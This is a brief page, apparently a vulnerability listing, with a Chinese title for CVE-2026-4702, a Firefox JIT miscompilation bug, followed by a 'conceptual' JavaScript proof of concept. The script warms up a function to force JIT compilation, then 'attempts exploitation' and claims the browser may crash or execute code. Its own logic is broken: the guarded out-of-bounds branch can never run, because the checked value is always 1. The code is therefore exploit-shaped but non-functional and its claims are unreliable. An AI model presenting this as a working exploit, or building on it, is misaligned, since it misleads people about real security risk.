CVE-2026-4702 Firefox JavaScript引擎JIT误编译漏洞

/** * Conceptual Proof of Concept for JIT Miscompilation * This script attempts to trigger a JIT optimization bug. * Note: Actual exploit code requires specific memory layout and ROP chains. */ function triggerOptimization(arr) { // Force JIT compilation by creating a hot function let x = arr[0] | 0; // Integer conversion hint let y = arr[1]; // Vulnerable logic pattern (Hypothetical) if (x > 1000) { return arr[x + y]; // Potential out-of-bounds access if miscompiled } return 0; } // Warm up phase to trigger JIT compilation const maliciousArray = [1.1, 2.2, 3.3]; for (let i = 0; i < 10000; i++) { triggerOptimization(maliciousArray); } // Exploitation attempt console.log("[+] Attempting to trigger vulnerability..."); triggerOptimization(new Array(2048).fill(1.1)); console.log("[+] If successful, the browser may crash or execute code.");